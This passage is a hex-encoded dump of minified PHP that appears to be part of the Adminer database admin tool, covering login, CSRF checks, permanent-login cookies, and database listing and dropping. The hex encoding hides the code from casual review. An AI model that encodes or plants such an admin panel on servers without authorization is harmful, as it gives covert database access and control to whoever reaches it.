77 6F 72 64 22 5D 2C 24 79 65 29 3A 22 22 29 3B 63 6F 6F 6B 69 65 28 22
61 64 6D 69 6E 65 72 5F 70 65 72 6D 61 6E 65 6E 74 22 2C 69 6D 70 6C 6F
64 65 28 22 20 22 2C 24 6F 65 29 29 3B 7D 69 66 28 63 6F 75 6E 74 28 24
5F 50 4F 53 54 29 3D 3D 31 7C 7C 44 52 49 56 45 52 21 3D 24 63 5B 22 64
72 69 76 65 72 22 5D 7C 7C 53 45 52 56 45 52 21 3D 24 63 5B 22 73 65 72
76 65 72 22 5D 7C 7C 24 5F 47 45 54 5B 22 75 73 65 72 6E 61 6D 65 22 5D
21 3D 3D 24 63 5B 22 75 73 65 72 6E 61 6D 65 22 5D 7C 7C 44 42 21 3D 24
63 5B 22 64 62 22 5D 29 72 65 64 69 72 65 63 74 28 61 75 74 68 5F 75 72
6C 28 24 63 5B 22 64 72 69 76 65 72 22 5D 2C 24 63 5B 22 73 65 72 76 65
72 22 5D 2C 24 63 5B 22 75 73 65 72 6E 61 6D 65 22 5D 2C 24 63 5B 22 64
62 22 5D 29 29 3B 7D 65 6C 73 65 69 66 28 24 5F 50 4F 53 54 5B 22 6C 6F
67 6F 75 74 22 5D 29 7B 69 66 28 24 54 26 26 24 5F 50 4F 53 54 5B 22 74
6F 6B 65 6E 22 5D 21 3D 24 54 29 7B 70 61 67 65 5F 68 65 61 64 65 72 28
27 4C 6F 67 6F 75 74 27 2C 27 49 6E 76 61 6C 69 64 20 43 53 52 46 20 74
6F 6B 65 6E 2E 20 53 65 6E 64 20 74 68 65 20 66 6F 72 6D 20 61 67 61 69
6E 2E 27 29 3B 70 61 67 65 5F 66 6F 6F 74 65 72 28 22 64 62 22 29 3B 65
78 69 74 3B 7D 65 6C 73 65 7B 66 6F 72 65 61 63 68 28 61 72 72 61 79 28
22 70 77 64 73 22 2C 22 64 62 22 2C 22 64 62 73 22 2C 22 71 75 65 72 69
65 73 22 29 61 73 24 79 29 73 65 74 5F 73 65 73 73 69 6F 6E 28 24 79 2C
6E 75 6C 6C 29 3B 75 6E 73 65 74 5F 70 65 72 6D 61 6E 65 6E 74 28 29 3B
72 65 64 69 72 65 63 74 28 73 75 62 73 74 72 28 70 72 65 67 5F 72 65 70
6C 61 63 65 28 27 7E 28 75 73 65 72 6E 61 6D 65 7C 64 62 7C 6E 73 29 3D
5B 5E 26 5D 2A 26 7E 27 2C 27 27 2C 4D 45 29 2C 30 2C 2D 31 29 2C 27 4C
6F 67 6F 75 74 20 73 75 63 63 65 73 73 66 75 6C 2E 27 29 3B 7D 7D 65 6C
73 65 69 66 28 24 6F 65 26 26 21 24 5F 53 45 53 53 49 4F 4E 5B 22 70 77
64 73 22 5D 29 7B 73 65 73 73 69 6F 6E 5F 72 65 67 65 6E 65 72 61 74 65
5F 69 64 28 29 3B 24 79 65 3D 24 62 2D 3E 70 65 72 6D 61 6E 65 6E 74 4C
6F 67 69 6E 28 29 3B 66 6F 72 65 61 63 68 28 24 6F 65 0A 61 73 24 79 3D
3E 24 58 29 7B 6C 69 73 74 28 2C 24 4C 61 29 3D 65 78 70 6C 6F 64 65 28
22 3A 22 2C 24 58 29 3B 6C 69 73 74 28 24 79 62 2C 24 4F 2C 24 56 2C 24
6B 29 3D 61 72 72 61 79 5F 6D 61 70 28 27 62 61 73 65 36 34 5F 64 65 63
6F 64 65 27 2C 65 78 70 6C 6F 64 65 28 22 2D 22 2C 24 79 29 29 3B 24 5F
53 45 53 53 49 4F 4E 5B 22 70 77 64 73 22 5D 5B 24 79 62 5D 5B 24 4F 5D
5B 24 56 5D 3D 64 65 63 72 79 70 74 5F 73 74 72 69 6E 67 28 62 61 73 65
36 34 5F 64 65 63 6F 64 65 28 24 4C 61 29 2C 24 79 65 29 3B 24 5F 53 45
53 53 49 4F 4E 5B 22 64 62 22 5D 5B 24 79 62 5D 5B 24 4F 5D 5B 24 56 5D
5B 24 6B 5D 3D 74 72 75 65 3B 7D 7D 66 75 6E 63 74 69 6F 6E 0A 75 6E 73
65 74 5F 70 65 72 6D 61 6E 65 6E 74 28 29 7B 67 6C 6F 62 61 6C 24 6F 65
3B 66 6F 72 65 61 63 68 28 24 6F 65 0A 61 73 24 79 3D 3E 24 58 29 7B 6C
69 73 74 28 24 79 62 2C 24 4F 2C 24 56 2C 24 6B 29 3D 61 72 72 61 79 5F
6D 61 70 28 27 62 61 73 65 36 34 5F 64 65 63 6F 64 65 27 2C 65 78 70 6C
6F 64 65 28 22 2D 22 2C 24 79 29 29 3B 69 66 28 24 79 62 3D 3D 44 52 49
56 45 52 26 26 24 4F 3D 3D 53 45 52 56 45 52 26 26 24 56 3D 3D 24 5F 47
45 54 5B 22 75 73 65 72 6E 61 6D 65 22 5D 26 26 24 6B 3D 3D 44 42 29 75
6E 73 65 74 28 24 6F 65 5B 24 79 5D 29 3B 7D 63 6F 6F 6B 69 65 28 22 61
64 6D 69 6E 65 72 5F 70 65 72 6D 61 6E 65 6E 74 22 2C 69 6D 70 6C 6F 64
65 28 22 20 22 2C 24 6F 65 29 29 3B 7D 66 75 6E 63 74 69 6F 6E 0A 61 75
74 68 5F 65 72 72 6F 72 28 24 56 62 3D 6E 75 6C 6C 29 7B 67 6C 6F 62 61
6C 24 67 2C 24 62 2C 24 54 3B 24 68 66 3D 73 65 73 73 69 6F 6E 5F 6E 61
6D 65 28 29 3B 24 6C 3D 22 22 3B 69 66 28 21 24 5F 43 4F 4F 4B 49 45 5B
24 68 66 5D 26 26 24 5F 47 45 54 5B 24 68 66 5D 26 26 69 6E 69 5F 62 6F
6F 6C 28 22 73 65 73 73 69 6F 6E 2E 75 73 65 5F 6F 6E 6C 79 5F 63 6F 6F
6B 69 65 73 22 29 29 24 6C 3D 27 53 65 73 73 69 6F 6E 20 73 75 70 70 6F
72 74 20 6D 75 73 74 20 62 65 20 65 6E 61 62 6C 65 64 2E 27 3B 65 6C 73
65 69 66 28 69 73 73 65 74 28 24 5F 47 45 54 5B 22 75 73 65 72 6E 61 6D
65 22 5D 29 29 7B 69 66 28 28 24 5F 43 4F 4F 4B 49 45 5B 24 68 66 5D 7C
7C 24 5F 47 45 54 5B 24 68 66 5D 29 26 26 21 24 54 29 24 6C 3D 27 53 65
73 73 69 6F 6E 20 65 78 70 69 72 65 64 2C 20 70 6C 65 61 73 65 20 6C 6F
67 69 6E 20 61 67 61 69 6E 2E 27 3B 65 6C 73 65 7B 24 6E 65 3D 26 67 65
74 5F 73 65 73 73 69 6F 6E 28 22 70 77 64 73 22 29 3B 69 66 28 24 6E 65
21 3D 3D 6E 75 6C 6C 29 7B 24 6C 3D 68 28 24 56 62 3F 24 56 62 2D 3E 67
65 74 4D 65 73 73 61 67 65 28 29 3A 28 69 73 5F 73 74 72 69 6E 67 28 24
67 29 3F 24 67 3A 27 49 6E 76 61 6C 69 64 20 63 72 65 64 65 6E 74 69 61
6C 73 2E 27 29 29 3B 69 66 28 24 6E 65 3D 3D 3D 66 61 6C 73 65 29 24 6C
2E 3D 27 3C 62 72 3E 27 2E 73 70 72 69 6E 74 66 28 27 4D 61 73 74 65 72
20 70 61 73 73 77 6F 72 64 20 65 78 70 69 72 65 64 2E 20 3C 61 20 68 72
65 66 3D 22 68 74 74 70 3A 2F 2F 77 77 77 2E 61 64 6D 69 6E 65 72 2E 6F
72 67 2F 65 6E 2F 65 78 74 65 6E 73 69 6F 6E 2F 22 20 74 61 72 67 65 74
3D 22 5F 62 6C 61 6E 6B 22 3E 49 6D 70 6C 65 6D 65 6E 74 3C 2F 61 3E 20
25 73 20 6D 65 74 68 6F 64 20 74 6F 20 6D 61 6B 65 20 69 74 20 70 65 72
6D 61 6E 65 6E 74 2E 27 2C 27 3C 63 6F 64 65 3E 70 65 72 6D 61 6E 65 6E
74 4C 6F 67 69 6E 28 29 3C 2F 63 6F 64 65 3E 27 29 3B 24 6E 65 3D 6E 75
6C 6C 3B 7D 75 6E 73 65 74 5F 70 65 72 6D 61 6E 65 6E 74 28 29 3B 7D 7D
70 61 67 65 5F 68 65 61 64 65 72 28 27 4C 6F 67 69 6E 27 2C 24 6C 2C 6E
75 6C 6C 29 3B 65 63 68 6F 22 3C 66 6F 72 6D 20 61 63 74 69 6F 6E 3D 27
27 20 6D 65 74 68 6F 64 3D 27 70 6F 73 74 27 3E 5C 6E 22 3B 24 62 2D 3E
6C 6F 67 69 6E 46 6F 72 6D 28 29 3B 65 63 68 6F 22 3C 64 69 76 3E 22 3B
68 69 64 64 65 6E 5F 66 69 65 6C 64 73 28 24 5F 50 4F 53 54 2C 61 72 72
61 79 28 22 61 75 74 68 22 29 29 3B 65 63 68 6F 22 3C 2F 64 69 76 3E 5C
6E 22 2C 22 3C 2F 66 6F 72 6D 3E 5C 6E 22 3B 70 61 67 65 5F 66 6F 6F 74
65 72 28 22 61 75 74 68 22 29 3B 7D 69 66 28 69 73 73 65 74 28 24 5F 47
45 54 5B 22 75 73 65 72 6E 61 6D 65 22 5D 29 29 7B 69 66 28 21 63 6C 61
73 73 5F 65 78 69 73 74 73 28 22 4D 69 6E 5F 44 42 22 29 29 7B 75 6E 73
65 74 28 24 5F 53 45 53 53 49 4F 4E 5B 22 70 77 64 73 22 5D 5B 44 52 49
56 45 52 5D 29 3B 75 6E 73 65 74 5F 70 65 72 6D 61 6E 65 6E 74 28 29 3B
70 61 67 65 5F 68 65 61 64 65 72 28 27 4E 6F 20 65 78 74 65 6E 73 69 6F
6E 27 2C 73 70 72 69 6E 74 66 28 27 4E 6F 6E 65 20 6F 66 20 74 68 65 20
73 75 70 70 6F 72 74 65 64 20 50 48 50 20 65 78 74 65 6E 73 69 6F 6E 73
20 28 25 73 29 20 61 72 65 20 61 76 61 69 6C 61 62 6C 65 2E 27 2C 69 6D
70 6C 6F 64 65 28 22 2C 20 22 2C 24 74 65 29 29 2C 66 61 6C 73 65 29 3B
70 61 67 65 5F 66 6F 6F 74 65 72 28 22 61 75 74 68 22 29 3B 65 78 69 74
3B 7D 24 67 3D 63 6F 6E 6E 65 63 74 28 29 3B 7D 69 66 28 69 73 5F 73 74
72 69 6E 67 28 24 67 29 7C 7C 21 24 62 2D 3E 6C 6F 67 69 6E 28 24 5F 47
45 54 5B 22 75 73 65 72 6E 61 6D 65 22 5D 2C 67 65 74 5F 73 65 73 73 69
6F 6E 28 22 70 77 64 73 22 29 29 29 7B 61 75 74 68 5F 65 72 72 6F 72 28
29 3B 65 78 69 74 3B 7D 24 54 3D 24 5F 53 45 53 53 49 4F 4E 5B 22 74 6F
6B 65 6E 22 5D 3B 69 66 28 24 63 26 26 24 5F 50 4F 53 54 5B 22 74 6F 6B
65 6E 22 5D 29 24 5F 50 4F 53 54 5B 22 74 6F 6B 65 6E 22 5D 3D 24 54 3B
24 6C 3D 27 27 3B 69 66 28 24 5F 50 4F 53 54 29 7B 69 66 28 24 5F 50 4F
53 54 5B 22 74 6F 6B 65 6E 22 5D 21 3D 24 54 29 7B 24 4B 63 3D 22 6D 61
78 5F 69 6E 70 75 74 5F 76 61 72 73 22 3B 24 72 64 3D 69 6E 69 5F 67 65
74 28 24 4B 63 29 3B 69 66 28 65 78 74 65 6E 73 69 6F 6E 5F 6C 6F 61 64
65 64 28 22 73 75 68 6F 73 69 6E 22 29 29 7B 66 6F 72 65 61 63 68 28 61
72 72 61 79 28 22 73 75 68 6F 73 69 6E 2E 72 65 71 75 65 73 74 2E 6D 61
78 5F 76 61 72 73 22 2C 22 73 75 68 6F 73 69 6E 2E 70 6F 73 74 2E 6D 61
78 5F 76 61 72 73 22 29 61 73 24 79 29 7B 24 58 3D 69 6E 69 5F 67 65 74
28 24 79 29 3B 69 66 28 24 58 26 26 28 21 24 72 64 7C 7C 24 58 3C 24 72
64 29 29 7B 24 4B 63 3D 24 79 3B 24 72 64 3D 24 58 3B 7D 7D 7D 24 6C 3D
28 21 24 5F 50 4F 53 54 5B 22 74 6F 6B 65 6E 22 5D 26 26 24 72 64 3F 73
70 72 69 6E 74 66 28 27 4D 61 78 69 6D 75 6D 20 6E 75 6D 62 65 72 20 6F
66 20 61 6C 6C 6F 77 65 64 20 66 69 65 6C 64 73 20 65 78 63 65 65 64 65
64 2E 20 50 6C 65 61 73 65 20 69 6E 63 72 65 61 73 65 20 25 73 2E 27 2C
22 27 24 4B 63 27 22 29 3A 27 49 6E 76 61 6C 69 64 20 43 53 52 46 20 74
6F 6B 65 6E 2E 20 53 65 6E 64 20 74 68 65 20 66 6F 72 6D 20 61 67 61 69
6E 2E 27 29 3B 7D 7D 65 6C 73 65 69 66 28 24 5F 53 45 52 56 45 52 5B 22
52 45 51 55 45 53 54 5F 4D 45 54 48 4F 44 22 5D 3D 3D 22 50 4F 53 54 22
29 7B 24 6C 3D 73 70 72 69 6E 74 66 28 27 54 6F 6F 20 62 69 67 20 50 4F
53 54 20 64 61 74 61 2E 20 52 65 64 75 63 65 20 74 68 65 20 64 61 74 61
20 6F 72 20 69 6E 63 72 65 61 73 65 20 74 68 65 20 25 73 20 63 6F 6E 66
69 67 75 72 61 74 69 6F 6E 20 64 69 72 65 63 74 69 76 65 2E 27 2C 22 27
70 6F 73 74 5F 6D 61 78 5F 73 69 7A 65 27 22 29 3B 69 66 28 69 73 73 65
74 28 24 5F 47 45 54 5B 22 73 71 6C 22 5D 29 29 24 6C 2E 3D 27 20 27 2E
27 59 6F 75 20 63 61 6E 20 75 70 6C 6F 61 64 20 61 20 62 69 67 20 53 51
4C 20 66 69 6C 65 20 76 69 61 20 46 54 50 20 61 6E 64 20 69 6D 70 6F 72
74 20 69 74 20 66 72 6F 6D 20 73 65 72 76 65 72 2E 27 3B 7D 69 66 28 21
69 6E 69 5F 62 6F 6F 6C 28 22 73 65 73 73 69 6F 6E 2E 75 73 65 5F 63 6F
6F 6B 69 65 73 22 29 7C 7C 40 69 6E 69 5F 73 65 74 28 22 73 65 73 73 69
6F 6E 2E 75 73 65 5F 63 6F 6F 6B 69 65 73 22 2C 66 61 6C 73 65 29 21 3D
3D 66 61 6C 73 65 29 7B 73 65 73 73 69 6F 6E 5F 63 61 63 68 65 5F 6C 69
6D 69 74 65 72 28 22 22 29 3B 73 65 73 73 69 6F 6E 5F 77 72 69 74 65 5F
63 6C 6F 73 65 28 29 3B 7D 66 75 6E 63 74 69 6F 6E 0A 63 6F 6E 6E 65 63
74 5F 65 72 72 6F 72 28 29 7B 67 6C 6F 62 61 6C 24 62 2C 24 67 2C 24 54
2C 24 6C 2C 24 7A 62 3B 24 6A 3D 61 72 72 61 79 28 29 3B 69 66 28 44 42
21 3D 22 22 29 7B 68 65 61 64 65 72 28 22 48 54 54 50 2F 31 2E 31 20 34
30 34 20 4E 6F 74 20 46 6F 75 6E 64 22 29 3B 70 61 67 65 5F 68 65 61 64
65 72 28 27 44 61 74 61 62 61 73 65 27 2E 22 3A 20 22 2E 68 28 44 42 29
2C 27 49 6E 76 61 6C 69 64 20 64 61 74 61 62 61 73 65 2E 27 2C 74 72 75
65 29 3B 7D 65 6C 73 65 7B 69 66 28 24 5F 50 4F 53 54 5B 22 64 62 22 5D
26 26 21 24 6C 29 71 75 65 72 69 65 73 5F 72 65 64 69 72 65 63 74 28 73
75 62 73 74 72 28 4D 45 2C 30 2C 2D 31 29 2C 27 44 61 74 61 62 61 73 65
73 20 68 61 76 65 20 62 65 65 6E 20 64 72 6F 70 70 65 64 2E 27 2C 64 72
6F 70 5F 64 61 74 61 62 61 73 65 73 28 24 5F 50 4F 53 54 5B 22 64 62 22
5D 29 29 3B 70 61 67 65 5F 68 65 61 64 65 72 28 27 53 65 6C 65 63 74 20
64 61 74 61 62 61 73 65 27 2C 24 6C 2C 66 61 6C 73 65 29 3B 65 63 68 6F
22 3C 70 3E 3C 61 20 68 72 65 66 3D 27 22 2E 68 28 4D 45 29 2E 22 64 61
74 61 62 61 73 65 3D 27 3E 22 2E 27 43 72 65 61 74 65 20 6E 65 77 20 64
61 74 61 62 61 73 65 27 2E 22 3C 2F 61 3E 5C 6E 22 3B 66 6F 72 65 61 63
68 28 61 72 72 61 79 28 27 70 72 69 76 69 6C 65 67 65 73 27 3D 3E 27 50
72 69 76 69 6C 65 67 65 73 27 2C 27 70 72 6F 63 65 73 73 6C 69 73 74 27
3D 3E 27 50 72 6F 63 65 73 73 20 6C 69 73 74 27 2C 27 76 61 72 69 61 62
6C 65 73 27 3D 3E 27 56 61 72 69 61 62 6C 65 73 27 2C 27 73 74 61 74 75
73 27 3D 3E 27 53 74 61 74 75 73 27 2C 29 61 73 24 79 3D 3E 24 58 29 7B
69 66 28 73 75 70 70 6F 72 74 28 24 79 29 29 65 63 68 6F 22 3C 61 20 68
72 65 66 3D 27 22 2E 68 28 4D 45 29 2E 22 24 79 3D 27 3E 24 58 3C 2F 61
3E 5C 6E 22 3B 7D 65 63 68 6F 22 3C 70 3E 22 2E 73 70 72 69 6E 74 66 28
27 25 73 20 76 65 72 73 69 6F 6E 3A 20 25 73 20 74 68 72 6F 75 67 68 20
50 48 50 20 65 78 74 65 6E 73 69 6F 6E 20 25 73 27 2C 24 7A 62 5B 44 52
49 56 45 52 5D 2C 22 3C 62 3E 24 67 2D 3E 73 65 72 76 65 72 5F 69 6E 66
6F 3C 2F 62 3E 22 2C 22 3C 62 3E 24 67 2D 3E 65 78 74 65 6E 73 69 6F 6E
3C 2F 62 3E 22 29 2E 22 5C 6E 22 2C 22 3C 70 3E 22 2E 73 70 72 69 6E 74
66 28 27 4C 6F 67 67 65 64 20 61 73 3A 20 25 73 27 2C 22 3C 62 3E 22 2E
68 28 6C 6F 67 67 65 64 5F 75 73 65 72 28 29 29 2E 22 3C 2F 62 3E 22 29
2E 22 5C 6E 22 3B 24 4C 65 3D 22 3C 61 20 68 72 65 66 3D 27 22 2E 68 28
4D 45 29 2E 22 72 65 66 72 65 73 68 3D 31 27 3E 22 2E 27 52 65 66 72 65
73 68 27 2E 22 3C 2F 61 3E 5C 6E 22 3B 24 6A 3D 24 62 2D 3E 64 61 74 61
62 61 73 65 73 28 29 3B 69 66 28 24 6A 29 7B 24 62 66 3D 73 75 70 70 6F
72 74 28 22 73 63 68 65 6D 65 22 29 3B 24 64 3D 63 6F 6C 6C 61 74 69 6F
6E 73 28 29 3B 65 63 68 6F 22 3C 66 6F 72 6D 20 61 63 74 69 6F 6E 3D 27
27 20 6D 65 74 68 6F 64 3D 27 70 6F 73 74 27 3E 5C 6E 22 2C 22 3C 74 61
62 6C 65 20 63 65 6C 6C 73 70 61 63 69 6E 67 3D 27 30 27 20 63 6C 61 73
73 3D 27 63 68 65 63 6B 61 62 6C 65 27 20 6F 6E 63 6C 69 63 6B 3D 27 74
61 62 6C 65 43 6C 69 63 6B 28 65 76 65 6E 74 29 3B 27 20 6F 6E 64 62 6C
63 6C 69 63 6B 3D 27 74 61 62 6C 65 43 6C 69 63 6B 28 65 76 65 6E 74 2C
20 74 72 75 65 29 3B 27 3E 5C 6E 22 2C 22 3C 74 68 65 61 64 3E 3C 74 72
3E 3C 74 64 3E 26 6E 62 73 70 3B 3C 74 68 3E 22 2E 27 44 61 74 61 62 61
73 65 27 2E 22 3C 74 64 3E 22 2E 27 43 6F 6C 6C 61 74 69 6F 6E 27 2E 22
3C 74 64 3E 22 2E 27 54 61 62 6C 65 73 27 2E 22 3C 2F 74 68 65 61 64 3E
5C 6E 22 3B 66 6F 72 65 61 63 68 28 24 6A 0A 61 73 24 6B 29 7B 24 55 65
3D 68 28 4D 45 29 2E 22 64 62 3D 22 2E 75 72 6C 65 6E 63 6F 64 65 28 24
6B 29 3B 65 63 68 6F 22 3C 74 72 22 2E 6F 64 64 28 29 2E 22 3E 3C 74 64
3E 22 2E 63 68 65 63 6B 62 6F 78 28 22 64 62 5B 5D 22 2C 24 6B 2C 69 6E
5F 61 72 72 61 79 28 24 6B 2C 28 61 72 72 61 79 29 24 5F 50 4F 53 54 5B
22 64 62 22 5D 29 29 2C 22 3C 74 68 3E 3C 61 20 68 72 65 66 3D 27 24 55
65 27 3E 22 2E 68 28 24 6B 29 2E 22 3C 2F 61 3E 22 2C 22 3C 74 64 3E 3C
61 20 68 72 65 66 3D 27 24 55 65 22 2E 28 24 62 66 3F 22 26 61 6D 70 3B
6E 73 3D 22 3A 22 22 29 2E 22 26 61 6D 70 3B 64 61 74 61 62 61 73 65 3D
27 20 74 69 74 6C 65 3D 27 22 2E 27 41 6C 74 65 72 20 64 61 74 61 62 61
73 65 27 2E 22 27 3E 22 2E 6E 62 73 70 28 64 62 5F 63 6F 6C 6C 61 74 69
6F 6E 28 24 6B 2C 24 64 29 29 2E 22 3C 2F 61 3E 22 2C 22 3C 74 64 20 61
6C 69 67 6E 3D 27 72 69 67 68 74 27 3E 3C 61 20 68 72 65 66 3D 27 24 55
65 26 61 6D 70 3B 73 63 68 65 6D 61 3D 27 20 69 64 3D 27 74 61 62 6C 65
73 2D 22 2E 68 28 24 6B 29 2E 22 27 20 74 69 74 6C 65 3D 27 22 2E 27 44
61 74 61 62 61 73 65 20 73 63 68 65 6D 61 27 2E 22 27 3E 3F 3C 2F 61 3E
22 2C 22 5C 6E 22 3B 7D 65 63 68 6F 22 3C 2F 74 61 62 6C 65 3E 5C 6E 22
2C 22 3C 73 63 72 69 70 74 20 74 79 70 65 3D 27 74 65 78 74 2F 6A 61 76
61 73 63 72 69 70 74 27 3E 74 61 62 6C 65 43 68 65 63 6B 28 29 3B 3C 2F
73 63 72 69 70 74 3E 5C 6E 22 2C 22 3C 70 3E 3C 69 6E 70 75 74 20 74 79
70 65 3D 27 73 75 62 6D 69 74 27 20 6E 61 6D 65 3D 27 64 72 6F 70 27 20
76 61 6C 75 65 3D 27 22 2E 27 44 72 6F 70 27 2E 22 27 22 2E 63 6F 6E 66
69 72 6D 28 22 66 6F 72 6D 43 68 65 63 6B 65 64 28 74 68 69 73 2C 20 2F
64 62 2F 29 22 29 2E 22 3E 5C 6E 22 2C 22 3C 69 6E 70 75 74 20 74 79 70
65 3D 27 68 69 64 64 65 6E 27 20 6E 61 6D 65 3D 27 74 6F 6B 65 6E 27 20
76 61 6C 75 65 3D 27 24 54 27 3E 5C 6E 22 2C 24 4C 65 2C 22 3C 2F 66 6F
72 6D 3E 5C 6E 22 3B 7D 65 6C 73 65 0A 65 63 68 6F 22 3C 70 3E 24 4C 65
22 3B 7D 70 61 67 65 5F 66 6F 6F 74 65 72 28 22 64 62 22 29 3B 69 66 28
24 6A 29 65 63 68 6F 22 3C 73 63 72 69 70 74 20 74 79 70 65 3D 27 74 65
78 74 2F 6A 61 76 61 73 63 72 69 70 74 27 3E 61 6A 61 78 53 65 74 48 74
6D 6C 28 27 22 2E 6A 73 5F 65 73 63 61 70 65 28 4D 45 29 2E 22 73 63 72
69 70 74 3D 63 6F 6E 6E 65 63 74 27 29 3B 3C 2F 73 63 72 69 70 74 3E 5C
6E 22 3B 7D 69 66 28 69 73 73 65 74 28 24 5F 47 45 54 5B 22 73 74 61 74
75 73 22 5D 29 29 24 5F 47 45 54 5B 22 76 61 72 69 61 62 6C 65 73 22 5D
3D 24 5F 47 45 54 5B 22 73 74 61 74 75 73 22 5D 3B 69 66 28 21 28 44 42
21 3D 22 22 3F 24 67 2D 3E 73 65 6C 65 63 74 5F 64 62 28 44 42 29 3A 69
73 73 65 74 28 24 5F 47 45 54 5B 22 73 71 6C 22 5D 29 7C 7C 69 73 73 65
74 28 24 5F 47 45 54 5B 22 64 75 6D 70 22 5D 29 7C 7C 69 73 73 65 74 28
24 5F 47 45 54 5B 22 64 61 74 61 62 61 73 65 22 5D 29 7C 7C 69 73 73 65
74 28 24 5F 47 45 54 5B 22 70 72 6F 63 65 73 73 6C 69 73 74 22 5D 29 7C
7C 69 73 73 65 74 28 24 5F 47 45 54 5B 22 70 72 69 76 69 6C 65 67 65 73
22 5D 29 7C 7C 69 73 73 65 74 28 24 5F 47 45 54 5B 22 75 73 65 72 22 5D
29 7C 7C 69 73 73 65 74 28 24 5F 47 45 54 5B 22 76 61 72 69 61 62 6C 65
73 22 5D 29 7C 7C 24 5F 47 45 54 5B 22 73 63 72 69 70 74 22 5D 3D 3D 22
63 6F 6E 6E 65 63 74 22 7C 7C 24 5F 47 45 54 5B 22 73 63 72 69 70 74 22
5D 3D 3D 22 6B 69 6C 6C 22 29 29 7B 69 66 28 44 42 21 3D 22 22 7C 7C 24
5F 47 45 54 5B 22 72 65 66 72 65 73 68 22 5D 29 7B 72 65 73 74 61 72 74
5F 73 65 73 73 69 6F 6E 28 29 3B 73 65 74 5F 73 65 73 73 69 6F 6E 28 22
64 62 73 22 2C 6E 75 6C 6C 29 3B 7D 63 6F 6E 6E 65 63 74 5F 65 72 72 6F
72 28 29 3B 65 78 69 74 3B 7D 66 75 6E 63 74 69 6F 6E 0A 73 65 6C 65 63
74 28 24 4A 2C 24 68 3D 6E 75 6C 6C 2C 24 45 63 3D 22 22 2C 24 59 64 3D
61 72 72 61 79 28 29 29 7B 24 69 64 3D 61 72 72 61 79 28 29 3B 24 76 3D
61 72 72 61 79 28 29 3B 24 66 3D 61 72 72 61 79 28 29 3B 24 43 61 3D 61
72 72 61 79 28 29 3B 24 63 67 3D 61 72 72 61 79 28 29 3B 24 4B 3D 61 72
72 61 79 28 29 3B 6F 64 64 28 27 27 29 3B 66 6F 72 28 24 73 3D 30 3B 24
4C 3D 24 4A 2D 3E 66 65 74 63 68 5F 72 6F 77 28 29 3B 24 73 2B 2B 29 7B
69 66 28 21 24 73 29 7B 65 63 68 6F 22 3C 74 61 62 6C 65 20 63 65 6C 6C
73 70 61 63 69 6E 67 3D 27 30 27 20 63 6C 61 73 73 3D 27 6E 6F 77 72 61
70 27 3E 5C 6E 22 2C 22 3C 74 68 65 61 64 3E 3C 74 72 3E 22 3B 66 6F 72
28 24 77 3D 30 3B 24 77 3C 63 6F 75 6E 74 28 24 4C 29 3B 24 77 2B 2B 29
7B 24 6D 3D 24 4A 2D 3E 66 65 74 63 68 5F 66 69 65 6C 64 28 29 3B 24 45
3D 24 6D 2D 3E 6E 61 6D 65 3B 24 58 64 3D 24 6D 2D 3E 6F 72 67 74 61 62
6C 65 3B 24 57 64 3D 24 6D 2D 3E 6F 72 67 6E 61 6D 65 3B 24 4B 5B 24 6D
2D 3E 74 61 62 6C 65 5D 3D 24 58 64 3B 69 66 28 24 45 63 29 24 69 64 5B
24 77 5D 3D 28 24 45 3D 3D 22 74 61 62 6C 65 22 3F 22 74 61 62 6C 65 3D
22 3A 28 24 45 3D 3D 22 70 6F 73 73 69 62 6C 65 5F 6B 65 79 73 22 3F 22
69 6E 64 65 78 65 73 3D 22 3A 6E 75 6C 6C 29 29 3B 65 6C 73 65 69 66 28
24 58 64 21 3D 22 22 29 7B 69 66 28 21 69 73 73 65 74 28 24 76 5B 24 58
64 5D 29 29 7B 24 76 5B 24 58 64 5D 3D 61 72 72 61 79 28 29 3B 66 6F 72
65 61 63 68 28 69 6E 64 65 78 65 73 28 24 58 64 2C 24 68 29 61 73 24 75
29 7B 69 66 28 24 75 5B 22 74 79 70 65 22 5D 3D 3D 22 50 52 49 4D 41 52
59 22 29 7B 24 76 5B 24 58 64 5D 3D 61 72 72 61 79 5F 66 6C 69 70 28 24
75 5B 22 63 6F 6C 75 6D 6E 73 22 5D 29 3B 62 72 65 61 6B 3B 7D 7D 24 66
5B 24 58 64 5D 3D 24 76 5B 24 58 64 5D 3B 7D 69 66 28 69 73 73 65 74 28
24 66 5B 24 58 64 5D 5B 24 57 64 5D 29 29 7B 75 6E 73 65 74 28 24 66 5B
24 58 64 5D 5B 24 57 64 5D 29 3B 24 76 5B 24 58 64 5D 5B 24 57 64 5D 3D
24 77 3B 24 69 64 5B 24 77 5D 3D 24 58 64 3B 7D 7D 69 66 28 24 6D 2D 3E
63 68 61 72 73 65 74 6E 72 3D 3D 36 33 29 24 43 61 5B 24 77 5D 3D 74 72
75 65 3B 24 63 67 5B 24 77 5D 3D 24 6D 2D 3E 74 79 70 65 3B 24 45 3D 68
28 24 45 29 3B 65 63 68 6F 22 3C 74 68 22 2E 28 24 58 64 21 3D 22 22 7C
7C 24 6D 2D 3E 6E 61 6D 65 21 3D 24 57 64 3F 22 20 74 69 74 6C 65 3D 27
22 2E 68 28 28 24 58 64 21 3D 22 22 3F 22 24 58 64 2E 22 3A 22 22 29 2E
24 57 64 29 2E 22 27 22 3A 22 22 29 2E 22 3E 22 2E 28 24 45 63 3F 22 3C
61 20 68 72 65 66 3D 27 24 45 63 22 2E 73 74 72 74 6F 6C 6F 77 65 72 28
24 45 29 2E 22 27 20 74 61 72 67 65 74 3D 27 5F 62 6C 61 6E 6B 27 20 72
65 6C 3D 27 6E 6F 72 65 66 65 72 72 65 72 27 20 63 6C 61 73 73 3D 27 68
65 6C 70 27 3E 24 45 3C 2F 61 3E 22 3A 24 45 29 3B 7D 65 63 68 6F 22 3C
2F 74 68 65 61 64 3E 5C 6E 22 3B 7D 65 63 68 6F 22 3C 74 72 22 2E 6F 64
64 28 29 2E 22 3E 22 3B 66 6F 72 65 61 63 68 28 24 4C 0A 61 73 24 79 3D
3E 24 58 29 7B 69 66 28 24 58 3D 3D 3D 6E 75 6C 6C 29 24 58 3D 22 3C 69
3E 4E 55 4C 4C 3C 2F 69 3E 22 3B 65 6C 73 65 69 66 28 24 43 61 5B 24 79
5D 26 26 21 69 73 5F 75 74 66 38 28 24 58 29 29 24 58 3D 22 3C 69 3E 22
2E 6C 61 6E 67 28 61 72 72 61 79 28 27 25 64 20 62 79 74 65 27 2C 27 25
64 20 62 79 74 65 73 27 29 2C 73 74 72 6C 65 6E 28 24 58 29 29 2E 22 3C
2F 69 3E 22 3B 65 6C 73 65 69 66 28 21 73 74 72 6C 65 6E 28 24 58 29 29
